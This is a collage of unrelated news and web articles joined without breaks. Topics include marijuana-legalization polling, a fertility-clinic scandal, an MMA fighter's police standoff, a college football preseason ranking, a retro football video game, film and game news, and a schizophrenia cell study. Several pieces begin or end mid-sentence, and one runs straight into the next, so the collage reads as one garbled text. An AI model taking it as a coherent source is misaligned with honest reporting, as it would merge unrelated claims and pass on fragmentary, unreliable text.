Thomas Jefferson’s Tavern Ale Kehoe studied the excavations of Jefferson’s beer cellar and pored over his farm records to reverse-engineer a fruity barley wine with a bracing 8 percent alcohol by volume. But Jefferson would scoff: His version was almost 13. The cofounder of the Democratic-Republican Party was a party animal.Pope John Paul II. ‘You could hear the blows’ says a nun in his office
Pope John Paul, who died four years ago at 84, is being considered for sainthood by the Catholic Church – the ultimate accolade and a tribute to his holiness.
As part of the Vatican’s investigation, thousands of documents have been examined by officials from the Congregation for the Causes of Saints. Among them is the testimony of Polish nun Tobiana Sobodka, a member of the Sacred Heart of Jesus order.
She worked for Pope John Paul in his private Vatican apartments and at his summer residence in Castel Gandolfo near Rome.
Sister Sobodka said: “Several times he would put himself through bodily penance.
“We would hear it – we were in the next room at Castel Gandolfo. You could hear the sound of the blows when he flagellated himself. He did it when he was still capable of moving on his own.”Among other disappointments for liberals last Tuesday was the failure of California’s Proposition 19, which would have rewritten state law to allow local jurisdictions the right to regulate and tax the use of marijuana for personal consumption.
The measure, which was defeated 54 to 46 percent, had seemed destined to lose after polls found its position slipping in the final few months of the campaign.
Still, the defeat was a bitter one for advocates of liberalized drug laws, particularly since liberals had a strong night in California over all, re-electing Democratic Senator Barbara Boxer, electing a new Democratic governor, Jerry Brown, and soundly defeating another ballot measure, Proposition 23, which would have suspended California’s stringent air pollution laws until its unemployment rate declined.
Proponents of marijuana legalization, like the group Norml, have put a happy face on the measure’s defeat, nothing that the 46 percent of the vote it achieved is better than any similar initiative in any other state, and that national polls show support for legalization having increased significantly over the past 10 or 15 years.
Others have been more skeptical, however. Tyler Cowen, a libertarian-leaning economist at George Mason University who writes columns for The Times, commented on his blog that “we’re seeing the high water mark for pot, as aging demographics do not favor the idea,” and that he couldn’t see marijuana “climbing the legalization hill, if it can’t make it through current-day California.”
The Atlantic’s Megan McArdle expressed similar sentiments, noting that parenthood — and the changes in attitude it can cause toward drug legalization — was a significant barrier to such initiatives passing.
The relationships between age, parenthood and views on marijuana are a bit complex, so it’s worth going to some effort to untangle them.
The chart that follows contains data from the General Social Survey, a broad-themed poll conducted by biannually by the National Opinion Research Center at the University of Chicago, which for the past 38 years has asked adults whether they think marijuana should be legalized. I have combined data from the 2000, 2002, 2004, 2006 and 2008 editions of the survey to improve the sample size — about 6,000 respondents are represented in all. (The data presented here are unweighted based on demographic characteristics, and the responses from people who said they were unsure about marijuana legalization are omitted.)
Positions on marijuana legalization are broken down based on two categories: first, the age of the respondent, and second, their parental status. We distinguish between those adults who currently have a child under the age of 18 living with them, and those who fathered or mothered a child at some point in their lives, but no longer have one living with them.
As you might expect, both age and parenthood status are important predictors of views on marijuana. Controlling for parenthood status, support for legalization is actually quite steady from ages 18 through 59: about half of childless adults in these age ranges favor legalizing marijuana.
The percentages are about 10-15 points lower, however, for adults in this age range who have had kids. It is not clear whether it makes much difference if the child is still living in the household or not: controlling for age, support appears to go up a couple of points among “empty-nesters” (relative to parents who still have children in their homes), but the difference is not clear enough to qualify as statistically significant.
Among adults aged 60 or over, however, support drops quite precipitously. The gap between childless and child-bearing adults also diminishes, and vanishes entirely for adults aged 70 and up: few septuagenarians, no matter how many children they have or haven’t had, want any part of liberalized drug laws.
The sharp break among adults in this age range is probably not a coincidence; it has a very strong relationship with lifetime usage rates for marijuana — and reflects, in essence, the divide between those adults that came of age before and after the counterculture of the 1960s and the Summer of Love.
This, then, is the good news for supporters of marijuana legalization. Even if nobody was persuaded about legalization one way or another, measures like Proposition 19 would stand to gain ground as pre-Baby Boom adults were replaced in the electorate by Millennials.
Although the chart above does not reflect it — perhaps because it relies on some data that is as much as 10 years old — there is some evidence that Millennials are coming into young adulthood with somewhat more liberal views about drug use than their predecessors in Generation X, who may remember the “Just Say No” years and the crack cocaine epidemic of the early 1990s. Exit polls in California found a particularly sharp break between adults aged 18 to 24, 64 percent of whom supported Proposition 19, and those aged 25-29, 52 percent of whom did.
Even if Millennials had about the same attitudes toward drug legalization as Generation X-ers did, the pro-legalization position would still stand to gain some ground simply because both groups are much more tolerant of drug use than adults over the age of 60.
It is also the case, however, that support for legalization drops sharply once adults have become mothers or fathers. These effects can lead one to exaggerate the extent to which support for marijuana legalization is tied to age. Since adults in their 40s will be more likely to have had children at some point in their lives than those in their 20s, they will appear to have a more anti-legalization position over all. Controlling for parenthood status, support for legal marijuana is about the same among these age groups — and we can probably expect that some of the 20-somethings who support legalization now will no longer do so once they have children of their own.
Suppose we are in a world in which: (i) members of the pre-Baby Boom generation are eventually replaced in the electorate by Millennials, who have relatively liberal views on marijuana; and (ii) nobody else ever changes their views on marijuana, other than if they have children, when some of them go from being in favor of legalization to against it.
In this world — which is a reasonable model of America in 2010 — support for marijuana initiatives would continue to increase for a few years until adults now over the age of 60 were no longer a significant part of the population. Then it would enter some sort of steady state.
I suspect this steady-state condition is one that would support some measures like Proposition 19 passing in the right states (e.g. the more liberal ones) at the right times. Particularly if the measures were well written: Proposition 19 lost standing in the polls as the election wore on, in part because its opponents focused on the fact that it would create a patchwork of local laws and an additional layer of bureaucracy; a simpler measure might have passed or come closer to it.
I somewhat doubt, however, that this world is one that would imply an overall majority of Americans being willing to support legalization — my back-of-the-envelope calculation suggests that support would tap out at something on the order of 45-47 percent nationally. Of course, 45 percent support nationwide would probably translate to better than 50 percent support in states like California, Oregon, Nevada, New York, Vermont and so forth. But it probably would not lead to a world in which, for instance, the Democratic nominee for President were willing to support marijuana legalization as part of his platform (and certainly not the Republican one).
I also suspect that national polls would have to show somewhat better than 50 percent support for legalization — perhaps 55 or 60 percent — before changing federal drug laws become a routine part of the national conversation; there are vanishingly few prominent politicians who have been willing to embrace marijuana legalization, including those who take liberal positions otherwise.
I also don’t know that marijuana legalization can be thought to be on quite the same trajectory as something like, for instance, gay marriage — an issue which also is befitting from generational turnover, but one on which the intra-generational movement seems to be more uniformly in the direction of tolerance. One can also look toward Western Europe for guidance, for instance, which liberals think of as having more enlightened views on social policy. Seven European countries now provide for gay marriage, and 13 others for registered domestic partnernships, and those numbers will probably continue to increase. But, although many European countries take a laxer attitude toward marijuana than the United States does, none have legalized it — including the Netherlands, which has merely decriminalized it. And even Holland has been backtracking some: the number of “coffeeshops” — authorized marijuana retailers — has declined as new restrictions have been placed on opening such and as some local communities have become stingier about handing out licenses; the Netherlands also recently banned the sale of psychedelic mushrooms, which it used to tolerate.
That is not to say that advocates for marijuana reform have a hopeless task ahead of them. The uptick in support for marijuana legalization over the past decade or so is probably greater than can be explained by generational turnover alone, and the country seems to be going through a libertarian phase of sorts. My hunch is that the key “swing” demographic could turn out to be empty-nesters: adults whose children are grown. If their positions on marijuana legalization were to become more like those of adults who had never had children in the first place, that would probably be enough to give the pro-legalization side a majority — but likely not otherwise, particularly since the share of “empty nesters” is increasing as a share of the population as adults live to a longer age.
Finally, Proposition 19 suggests that marijuana legalization initiatives may lose some support at the ballot booth relative to where they appear to stand in polls initially. Part of this is because — even in years in which Democratic turnout is comparatively strong — younger adults are considerably less likely to register and to vote. But part of it may also be that the anti-legalization argument has some intrinsic advantages that are liable to become manifest over the course of an actual campaign, such as its appeal to parents.Presidential candidate Bernie Sanders (I-Vt.) stopped by "The Tonight Show" on Tuesday night to discuss his sweeping climate change plan and discuss the ongoing controversy surrounding Islamophobic comments made by Donald Trump.
Sanders told host Jimmy Fallon that unless the world can get its act together, "we are on a suicidal course" that will leave future generations with a world that is "much less habitable than the planet we enjoy."
"We have a serious, serious problem," he continued. "We have a moral obligation for our children and our grandchildren to leave them a planet that they can enjoy."
His comments came on the heels of the ongoing climate change summit in Paris, where more than a hundred world leaders are working to create a binding agreement to limit greenhouse gas emissions.
The senator also used his visit to criticize Trump and his recent proposal to "ban" any Muslims from entering America.
"Throughout history, you've had demagogues trying to divert attention away from the real issues... what somebody like a Trump is trying to do is divide us up." Sanders told Jimmy Fallon. "A few months ago we were supposed to hate Mexicans and... now we're supposed to hate Muslims. And that kind of crap is not going to work in the United States of America."
Trump's proposal has been widely panned, but Republican lawmakers have said they would still stand by him should he win the nomination.
Watch a clip above, courtesy of NBC.
Also on HuffPost:Bertold Wiesner and his wife Mary Barton founded a fertility clinic in London in the 1940s and helped women conceive 1,500 babies.
It was thought that the clinic used a small number of highly intelligent friends as sperm donors but it has now emerged that around 600 of the babies were conceived using sperm from Mr Wiesner himself.
Two men conceived at the clinic, Barry Stevens a film-maker from Canada and David Gollancz, a barrister in London, have researched the centre and DNA tests suggest Mr Wiesner, an Austrian biologist, provided two thirds of the donated sperm.
Such a practice is outlawed now but at the time it was not known that Mr Wiesner was providing the majority of the samples.
The same sperm donor should not be used to create so many children because of the risk that two of the offpsring will unwittingly meet and start a family of their own, which could cause serious genetic problems in their children.
DNA tests were conducted on 18 people conceived at the clinic between 1943 and 1962. The results showed that two thirds of them were fathered by Mr Wiesner.
Extrapolating this to the rest of the children conceived at the clinic it would suggest around 600 of the children were Mr Wiesner’s.
Mr Gollancz told the Sunday Times: “A conservative estimate is that he would have been making 20 donations a year.
“Using standard figures for the number of live births which result, including allowances for twins and miscarriages, I estimate that he is responsible for between 300 and 600 children.”
Allan Pacey, chairman of the British Fertility Society and expert in male fertility, said a healthy man could make that many donations a year if it were legal.
In 1990 the Human Fertilisation and Embryology Act set up a regulator of fertility clinics and limits were set on the number of families a sperm or egg donor could provide.
Sperm donors can provide samples for the creation of up to ten families.
The limit is set as families, rather than the number of children, so parents can choose the same donor for a second or third sibling without being told that donor has reached his limit.
Around 2,000 children are born every year in Britain using donated eggs, sperm or embryos.
All sperm donors used by regulated clinics should be between the age of 18 and 41 and all samples are tested for diseases.
Information about the donor is kept so the children can apply to find out the identity of their biological father and any half brothers or sisters once they turn 18.MISSION VIEJO — An hours-long standoff between mixed martial arts fighter Jason “Mayhem” Miller and SWAT officers ended with Miller surrendering after authorities blew the locks off the front door of the suspect’s Mission Viejo home.
Until his arrest, Miller was sending out messages on Twitter about the ordeal.
It all began when Orange County sheriff’s deputies tried to take him into custody on an arrest warrant in a domestic violence and stalking case about 10:30 a.m., he ran back into his home and has refused to come out, Orange County sheriff’s Lt. Jeff Hallock said.
About 2:15 p.m., SWAT officers placed a device on his door that blew off the locks, prompting Miller to surrender, Hallock said.
Throughout the conflict, Miller Tweeted about the standoff from his home at 26262 Avenida Calidad.
Some of his Tweets include:
— “I WISH YOU NO HARM. I respect the Police, but this is overkill, for something that would be settled with one piece of paperwork from OCBAIL;
— ALL THIS because I wanted to help raise a young boy into a man, and his mama wenr off her meds, and an ambitious DA thinks mayhem is BAD.
— i woke up late, and couldn’t leave because there is a highly equipment regiment of wanna be soldiers outside my house reminding me that, ‘WE WON’T GO AWAY!’
— i have the proper paper work, at my office in HYPERLINK ‘https://twitter.com/VaporLabsIrvine/’VaporLabsIrvine, i was due to go to court this morning, but the LFPD chase me all last night.
— if you would like to see this drama unfold, please, come to 26262 Avenida Calidad, Mission Viejo, CA 92691;
— Mental health services for one single mother immigrant from the Philipines, who I know was well intentioned, but has a mental condition… now i have to pay a debt for her mistakes.
Just before he surrendered, Miller Tweeted, “They are gearing up like the Bin Laden raid, and I just want to be heard in court, to dispel all of the lies.”
He also Tweeted to sheriff’s deputies, “They threw a phone box threw a plate glass window. Disrespect. I would like to give up, but not with 50 RAMBOS out there. Not cool.”
He also vowed to have the sheriff pay for the damage to his home in one of his Tweets.
Miller is facing two counts of corporal injury on a spouse or cohabitant and stalking, all felonies, and a misdemeanor count of violating a protective order, according to court records. He was last due in court Sept. 8 for a pretrial hearing, but he was declared a fugitive and a warrant for his arrest was issued.
Court records show a $200,000 bond was forfeited on Sept. 8.
This wasn’t the first brush with the law for Miller, 33, who had vandalism charges against him dismissed in 2012, but found himself in trouble with the law again for the domestic violence case in August of last year.
A misdemeanor vandalism charge against Miller was dismissed Nov. 21, 2012, after he was accused in August of 2012 of breaking at least one picture frame and damaging a propane tank and other items while spray-painting inside Mission Hills Church, causing at least $400 in damage.
Miller was arrested in August of 2012 when the church’s pastor called sheriff’s deputies to report he found books and CDs scattered throughout the Alicia Parkway church, along with broken picture frames and fire extinguisher dust on the first and second floors.
Miller, who was an Ultimate Fighting Championship competitor, was found on the second floor nude, although he did have some sort of cloth wrapped around him.A Dalhousie University medical student who was facing expulsion told a psychiatrist he would obtain a gun and kill up to 20 people and himself, court documents allege.
The search warrant documents filed with Halifax provincial court allege Stephen Gregory Tynes, 30, met with a psychiatrist on Aug. 20 and told the doctor he would stab the associate dean of undergraduate medical education and her daughter, who was also his classmate.
In the document, police say they later went to an apartment in Halifax and seized 1,834 rounds of rifle ammunition, a Russian SKS rifle, a Henry Golden Boy.22-calibre rifle, a banana clip for a rifle, a baggie with three clips and a bore cleaner, two ammunition boxes, a firearms acquisition card and a gun club card.
None of the allegations has been tested in court.
Dalhousie University says Tynes has been suspended from the school. Dalhousie increased security after the allegations came to light.
A spokeswoman for the public prosecution service said Tynes was arrested on the same day as his meeting with the psychiatrist and was later charged with two counts of uttering threats to cause death or bodily harm and one count of engaging in threatening conduct directed at a person or any member of their family.
Chris Hansen said Tynes appeared in court last Tuesday for a bail hearing and was released on conditions that he live at his father's home and have no contact with the two women he is alleged to have threatened by name.
The court also required that he not possess any firearms, alcohol or drugs, and that he stay away from Dalhousie's campus except when he is with his parents or his lawyer.lemson just wrapped up the national championship in thrilling fashion, which can only mean one thing—time to contemplate who might inhabit the 2017 Top 25 in college football.
There’s a long stretch between now and the next opening weekend. And, yes, this is a highly fluid process that’ll veer and turn at various calendar outposts, such as Signing Day, following spring drills and whenever some star inevitably falls victim to an injury or poor decision-making. But based on where we stand at this very moment, these schools are in the best position to contend in 2017 for league crowns, playoff berths and the recognition that comes with being a Top 25 program.
25. Oregon
Yeah, yeah, the Ducks bottomed out in 2016, winning just four games. But don’t sleep on Willie Taggart’s first team in Eugene, which returns a mess of starters on both sides of the ball, including up-and-coming QB Justin Herbert and star RB Royce Freeman. Plus, Taggart nailed the hiring of Jim Leavitt to coordinate a defense that’s been Oregon’s Achilles heel the last two seasons.
24. Kansas State
Bill Snyder is back. QB Jesse Ertz is back. And the Cats will carry a four-game winning streak into the new campaign. If K-State can backfill a few key openings on defense during the offseason, this program has enough momentum and offensive returners to be a fly in the Big 12 ointment.
23. West Virginia
The Mountaineers now know they can win in the Big 12, knowledge they’ll use to remain in the Top 25 neighborhood again in 2017. There’ll be a lot excitement surrounding the offense now that Florida transfer QB Will Grier hopes to join RB Justin Crawford and big-play WR Shelton Gibson in the huddle, pending their NFL Draft decisions.
22. South Florida
Charlie Strong couldn’t guide Texas into an extended Top 25 stay, but he inherits a high-powered Bull team that won 11 games a year ago and returns dynamic dual-threat QB Quinton Flowers. Prolific back Marlon Mack has declared for the NFL Draft, but fingers are crossed that USF’s top defenders, DT Deadrin Senat, LB Auggie Sanchez and CB Deatrick Nichols, remain in Tampa for a final year.
21. Virginia Tech
Justin Fuente fulfilled expectations in his first season in Blacksburg, winning 10 games including the Belk Bowl and the Coastal Division. Maintaining that level of play, though, got much tougher when the NFL Draft came calling, particularly the unexpected loss of QB Jerod Evans. Bud Foster’s D will retool on the fly, leaving redshirt freshman QB Josh Jackson as the most watched and scrutinized Hokie on campus this offseason.
20. Tennessee
Expectations will be dialed down considerably compared to last summer, and that’s a good thing for beleaguered coach Butch Jones. The Vols will sport a very different look now that QB Joshua Dobbs, DE Derek Barnett and a chunk of last year’s offensive production are gone. Solid recruiting and a sense of urgency ought to keep UT in the mix in the SEC East.
19. Louisville
The Cards will spend the spring trying to shake the memory of an awful season-ending, three-game losing streak. Won’t be easy. But Heisman-winner Lamar Jackson returns for his junior season, intent on becoming a more complete weapon in Bobby Petrino’s attack. Jackson, along with Petrino’s knack for attracting talent, will keep Louisville in the standings.
18. Texas
Charlie Strong’s recruiting chops paired with Tom Herman’s coaching ability equals the Horns’ best season since 2012. Strong left Herman’s staff with a well-stocked cupboard of youthful promise, headlined by QB Shane Buechele, All-American LT Connor Williams and LB Malik Jefferson. If Herman can do for Buechele what he’s done for other passers, and if Todd Orlando can coach up the defense, Texas will be off and running in 2017.
17. Florida
The D in Gainesville remains fine, despite another flood of Gators heading to NFL rosters. It’s the offense, which has really been sputtering since the Tim Tebow days, that needs to improve for Florida to return to a third straight SEC title game. There are a slew of young playmakers, but the line must get physical and fingers are crossed that young Feleipe Franks can win the QB job.
16. Miami
Mark Richt is off to a solid start, capping a nine-win debut by handling West Virginia in the Russell Athletic Bowl. Plus, a young defense played exceptionally well all season for Manny Diaz. Now that Brad Kaaya has declared for the NFL Draft, the big question mark is at quarterback, where inexperience could hamstring the Canes’ 2017 potential.
15. Auburn
In a year that Gus Malzahn was in danger of getting axed, the Tigers exceeded expectations by finishing the season in the Sugar Bowl. Still, dropping the final three games with FBS opponents casts a pall over another offseason. Auburn is banking on Baylor transfer QB Jarrett Stidham being the answer at a position that’s vexed the program the last two seasons.
14. Georgia
The Dawgs used very few seniors in 2016, Kirby Smart’s first as the head coach and QB Jacob Eason’s first out of high school. Plus, backs Nick Chubb and Sony Michel elected to remain in Athens for their senior years. If Eason makes the necessary strides as a sophomore, Georgia has the personnel to win the SEC East and contend for a New Year’s Six bowl game.
13. Stanford
The Cardinal remains uber-consistent, winning at least 10 games in six of the past seven seasons. As long as David Shaw is at the helm, Stanford will be a factor because of its physicality and recruiting prowess. However, Christian McCaffrey’s departure means more production will be needed from quarterbacks Ryan Burns and Keller Chryst, who suffered a serious knee injury in the Sun Bowl.
12. Michigan
Through recruiting, Jim Harbaugh is building a program that can withstand the usual attrition that comes with graduation and early departures. But the Wolverines are losing an unusually high number of veterans, leaving a particularly big hole on defense. Harbaugh expects QB Wilton Speight to be a star in 2017, which he might need to be to keep Michigan from a precipitous decline.
11. Oklahoma State
Mike Gundy is one of the most underrated coaches in America, quietly winning 10 games five different times this decade. And with the surprising returns of both QB Mason Rudolph and WR James Washington, anything less than a sixth double-digit win campaign will be a disappointment. Can the Cowboys catch Oklahoma in the Big 12? Depends on the maturation of a middling D that’s going to miss DT Vincent Taylor and S Jordan Sterns.
10. LSU
Ed Orgeron gets his first opportunity to put a stamp on the Tiger program as the permanent coach. He’ll be surrounded by a dynamite duo of coordinators, Matt Canada on offense and Dave Aranda on D, as well as the usual array of blue-chippers who call Baton Rouge home. Derrius Guice is an emerging star, though Canada still needs to coach up QB Danny Etling much the way he did with Nathan Peterman at Pitt.
9. Wisconsin
With the consistency that the Badgers run the ball and play D for Paul Chryst, there’s no reason to believe they won’t again hover around the top 10. Wisconsin was ahead of schedule in 2016, winning the Big Ten West and the Cotton Bowl. The new feature back could be young riser Bradrick Shaw or Pitt transfer Chris James, while QB Alex Hornibrook gets his shot to command the offensive huddle.
8. Penn State
Saquon Barkley and Trace McSorley return to the backfield, and Joe Moorhead is back as James Franklin’s coordinator. In other words, the Lions will continue rolling on offense, the catalyst for last year’s unlikely Big Ten championship. Franklin will put out an APB for pass rushers now that Evan Schwan has graduated and Garrett Sickels has foregone his remaining eligibility.
7. Washington
The downside to rising into the upper echelon of college football is that the Huskies have been hit hard by early entries to the NFL Draft. The secondary, in particular, will be getting a facelift. But Chris Petersen returns enough of the key contributors, like QB Jake Browning, RB Myles Gaskin and DE Vita Vea, to last year’s Pac-12 title to be right back in the hunt for a league championship in 2017.
6. Florida State
The Noles lose their best offensive and defensive players, RB Dalvin Cook and DE DeMarcus Walker, respectively. But this is Florida State, so talent is never be an issue. Plus, QB Deondre Francois is ready to pick up more of the offensive slack now that he has a rookie season in the bank. The defense gets a big boost from the return of All-American-caliber S Derwin James who missed most of last year to an injury.
5. Clemson
The Tigers have played in the last two national championship games, with one title under their belt, so Dabo Swinney clearly has the program rocking on every level. But can Clemson remain atop the ACC and return to the College Football Playoff without linchpin QB Deshaun Watson guiding the offense? Heck, backup Nick Schuessler is also gone, so a whole new era starts under center. Line play will be the early strength for a program only losing C Jay Guillermo and DT Carlos Watkins to graduation.
4. Oklahoma
The Sooners will be in the market for new offensive playmakers, though Baker Mayfield operating behind an assertive O-line will keep the points flowing in Norman. The defense is poised to continue building on a strong finish, helped by all-league CB Jordan Thomas’ decision to stay in school. The class of the Big 12 must travel to Ohio State in September in a non-conference game that’ll again define its playoff potential.
3. USC
Few teams begin 2017 with a bigger head of steam than the Trojans, who won their final nine games, including a Rose Bowl classic over Penn State. Oh, and the resurgence was fueled by a redshirt freshman, QB Sam Darnold, who is morphing into one of the game’s megastars. Troy is flush in elite talent, though replacing offensive tackles Zach Banner and Chad Wheeler won’t come without a lot of heavy lifting.
2. Ohio State
This past season ended poorly, the shutout Fiesta Bowl loss to Clemson. But the Buckeyes reached the playoffs with one of the nation’s youngest teams, so there’s hope that the 2017 edition could be even better positioned to go on a title run. J.T. Barrett and the offense need to collectively evolve, which is why Urban Meyer has sought out the assistance of new offensive coordinator Kevin Wilson and QB coach Ryan Day.
1. Alabama
Despite the outcome in Tampa, everyone is chasing the Crimson Tide … still. Nick Saban has built a machine in Tuscaloosa, attracting some of the country’s best recruits and then turning them into championship contenders. There’ll be holes that need to be plugged. There always are at Alabama. For a change, though, a new quarterback won’t need to be broken in. Jalen Hurts and RB Bo Scarbrough are ready to bloom into even bigger stars, while a new wave of standouts will emerge on defense in the wake of graduations.
MORE: P.J. Fleck, Tom Herman Prove Recruits Commit To Coaches, Not SchoolsIsis, Jabhat al-Nusra and Other Islamist Groups Are One And The Same: Senior Army Officer
A senior officer of Bashar al-Assad’s regime talks to Robert Fisk about his army’s brutal struggle with Isis, in a dirty war whose |
behavior than to simply extract more money out of people. Well, if Suburban Express is happy to sue its own customers, you can guess just how aggressive they like to behave with the internet upon which some of these customers express their displeasure. Unfortunately, when that displeasure is aimed at one of the company's drivers who told an exchange student, "If you don't understand English, you don't belong at the University of Illinois or any 'American' University," then you're going to raise the ire of roughly. It was a witness to that event, Jeremy Leval, who took to Facebook to describe the incident. Guess what his prize for outing racism was...Toeppen wasn't done there, either. He took to Reddit to push back on on Leval's story, indicating that some undescribed person had already apologized for the incident (because that makes it all better?). Unfortunately for him, his company is still being lambasted for its behavior on subreddits for the University of Illinois, where some are also claiming that Suburban Express employees are posting messages accusing reddit users of being virgins and chronic masturbators. Should you think that the idea of a business owner doing all this is a bit far-fetched, it's instructive to note the kind of slimeball we're talking about.Now, after a bunch of the insulting messages on reddit were deleted by the moderator, Murph Finnicum, Toeppen's attorney threatened to sue him for libel and over deleting the messages purportedly left by Suburban Express employees. James Long, the attorney, demanded "corrective action" immediately due to the damage the company had suffered by having their own posts deleted, and indicated that legal action against him had been authorized by the company.But, wait, I can already hear you saying: but you promised us this story had a happy ending! Well, it does, courtesy of Ken "Popehat" White.The result? A letter from attorney James Long to Finnicum:They ran away as fast as they could. I'm not sure if they are going to continue legal action against Laval, but if they actually read into the Streisand Effect when Ken White mentioned it, then they already know that they really,shouldn't.
Filed Under: chicago, ken white, streisand effect
Companies: suburban expressMutant League Football is a video game that was released in 1993 for the Sega Genesis. The game was designed using the Madden '93 engine, and features a different take on football, where the games resemble a war as much as a sporting competition.
Electronic Arts ported the game to the PlayStation Portable (PSP) as part of EA Replay. It was released in the United States on November 14, 2006. The PSP allowed a higher resolution for the game than seen on the Genesis, therefore bringing greater graphics to the game when played on a television screen via the new PSP Slim & Lite's output capabilities.
Gameplay [ edit ]
The game deviates from usual American football simulations in several ways. It takes place in a post-apocalyptic world where radiation has caused the human race to mutate and the dead to rise from the grave. The game instruction manual states that the exact causes of the upheaval have been lost or corrupted, due to (among many things) the chaos of an alien invasion, spin control, a sloppy filing system set up by a temp, and what appears to be barbecue sauce.
Land mines, fire pits, and other hazards (such as arenas being open to interplanetary space) litter the field, which can be made of rock, ice, toxic waste or rubber, and players can lose health or die during the run of play (upon which they will fumble). Teams have special Nasty Audible plays, which may be violent if not lethal, and may constitute cheating. Examples include exploding balls, invisibility, electric shocks, jet packs, or attacking the referee or opposition quarterback en masse, with the intent of killing him. Killing enough players may force an opposing team to forfeit, should it find itself with an insufficient number of players to continue (killed players may remain dead for only a single play, a match, or an entire season, depending on settings chosen by the player or players).
Each team can bribe the referee twice per game (once in each half), after which the bribed referee will award arbitrary penalties in favor of the team which bribed him (e.g. a 5-yard penalty for crying), at the expense of the opposing team. The team being penalized may kill the referee (via a "nasty audible") at the expense of another penalty for "Ref Bashing". Referee deaths may also occur accidentally, with such causes including being caught in the middle of a pileup or nudged into a mine, and these are not penalized. In the event of a referee's death, a replacement is immediately provided. Other penalties include offsides (encroachment also counts as this penalty), illegal kicks, delay of game, quarterback bashing, and pass interference. All of these penalties are 5-yard penalties except pass interference, which is an automatic first down.
Game modes can take place in the form of a single match or a full-season mode. Winning the championship game in season mode results in the losing team exploding spontaneously, and the winning team's MVP perishing by induction into the "Hole of Flame", the induction ceremony of which entitles the game referees to snatch the MVP and stuff him into a firepit.
Teams [ edit ]
Teams are composed of aliens, skeletons, robots, trolls, and superhumans. Seven players are on the field for each team, instead of the usual eleven. Many of the teams are based on real life teams, with names like the Deathskin Razors and the Midway Monsters. Players also have similar parody names, like Bones Jackson (Bo Jackson), K.T. Slayer (Lawrence Taylor), Joe Magician (Joe Montana) and Scary Ice (Jerry Rice). However, despite all the death and destruction, the competition aspect is still high, and requires much strategy, especially compared to games like NFL Blitz.
Maniac Conference:
Darkstar Dragons
Killer Konvicts
Misfit Demons
Psycho Slashers
Screaming Evils
Slaycity Slayers
Terminator Trollz
Turbo Techies
Toxic Conference:
Deathskin Razors
Icebay Bashers
Midway Monsters
Rad Rockers
Road Warriors
Sixty Whiners
Vile Vulgars
War Slammers
All-Star Teams:
Toxic All-Pros (made up of the best players from the Toxic Conference)
(made up of the best players from the Toxic Conference) Maniac All-Stars (made up of the best players from the Maniac Conference)
(made up of the best players from the Maniac Conference) Galaxy Aces (made up of the best players of the entire league)
This game was followed by a spinoff titled Mutant League Hockey. A basketball game, Mutant League Basketball, was in development, but it was never released. These games were also used as the basis for an animated series called Mutant League, which aired from 1994 to 1996.
The game inspired a one-off series in the British children's comic Sonic the Comic. The story, entitled "Bring Me the Head of Coach Brikka," ran for 6 episodes in 1994.
In the Xbox 360 version of the video game Madden NFL 09, there is an achievement worth 50 gamerscore titled "Midway Monster". The achievement is unlocked by creating a player named "Bones Jackson" and placing him on the Chicago Bears.
A "spiritual successor" called Mutant Football League was developed by Digital Dreams Entertainment for the PC, Xbox One, and PS4. This re-imagining was led by Michael Mendheim, the original creator and lead designer of the Mutant League series. A port to the Nintendo Switch was released in September 2018.[2]
See also [ edit ]Bryan Singer isn’t done with the X-Men franchise just yet, but he already has his next project lined up. Following this summer’s X-Men: Apocalypse, the director will tackle an adaptation of Jules Verne‘s “20,000 Leagues Under the Sea.” The project will begin principal photography this fall.
On Singer’s 50th birthday, he shared a photo on his Instagram account of a 20,000 Leagues Under the Sea script, explaining:
A story I’ve wanted to retell since childhood. I promise this will be an epic and emotional adventure for all ages! An adventure very dear to my heart. Not abandoning the #xmen universe. Very excited about #xmenapocalypse and beyond.
Singer contributed to the story of this retelling, while the script was penned by Rick Sordelet and Dan Studney. Studney was one of many writers who worked on Singer’s Jack the Giant Slayer. 20,000 Leagues Under the Sea has been in development for quite sometime, but it looks like Singer is the one to finally make the project happen.
Deadline reports a fall start date has been scheduled for the film, and Singer will soon begin casting for the 20th Century Fox project. Deadline adds this is another chance for Singer to “launch another franchise at Fox,” so apparently the director and the studio see sequels in this property. In a statement to the outlet, Singer once again expressed his enthusiasm for 20,000 Leagues Under the Sea:
I’m incredibly excited to be working with my friends at Fox, with whom I’ve had such a long and fruitful relationship. Ever since I was a boy and first discovered the 1870 Jules Verne novel, I have dreamt of retelling this classic story. Without revealing too much, it contains not only the original characters of Captain Nemo, Ned Land and Professor Aronnax, but also some new and original characters and Sci Fi plot twists culminating in a timeless adventure for all ages.
Right now Singer is arguably at the height of his career. After Jack the Giant Slayer flopped at the box-office, he returned to the X-Men series, going on to make the most successful sequel yet for the franchise. With X-Men: Apocalypse opening this summer, we should expect another major hit from Singer. As a bigger fan of his thrillers, though, my hope is he returns to a smaller scale of filmmaking. Then again, if Singer has the clout to tell one of his favorite stories on a massive scale, he should do that while he has the opportunity.It appears that a number of Rock Band 3 bundles were accidentally shipped early, and as such, a number of new details are coming to light. We saw details come out last night about the Rock Band 3 character creator, and now it looks like there may be a few surprises in store for us with regards to DLC. It appears that when viewing the Pearl Jam DLC in Rock Band 3 (pic above), it shows Pro Mode for both drums and vocals (in this case, two-part harmonies). A number of people told me that the entire “Ten” album, as well as the song “Brothers” released as DLC, has two-part harmonies. (UPDATE: @Striderblack let me know that people have witnessed that the “Backspacer” album also had harmonies.)
As many of you know, a Pearl Jam: Rock Band project was announced quite a while ago, but there haven’t been many details about it since. However, @HeyRiles did let me know not too long ago, the original Pearl Jam: Rock Band listing on an overseas retailer was revised to show a 2011 release date. Granted, some of the pieces don’t fit together, either. The Pearl Jam project teased was supposed to be a project based on live material, yet the DLC here was the studio version. But of the pieces we do have, could these suggest that a Pearl Jam: Rock Band project is still a thing?News in Science
Cells in a dish'replicate schizophrenia'
Model brain Researchers have successfully grown human schizophrenia nerve cells, enabling them to test out new drugs and better understand the complex mechanisms underlying the disease.
The cells, grown in a Petri dish, offer researchers a new way to study neurons from people with schizophrenia, which until now had been limited to using post mortem brain samples.
The team, led by Professor Fred H Gage of The Salk Institute for Biological Studies in the United States, used skin biopsies taken from four severely schizophrenic patients. They induced skin fibroblast cells to turn into embryonic stem cells, and then made these develop into a mix of three different types of neuron.
In effect they have made a living two dimensional model of the neurons likely to exist in a schizophrenic brain. Their work is reported in this week's online edition of Nature.
Gage and his team have also devised an ingenious way to assess 'neural connectivity', measuring how many other nerve cells each neuron is connected to.
Significantly, the schizophrenic neurons in their Petri dish only had about half the usual number of connections. This low connectivity is also seen in post mortem brains from people with the disease.
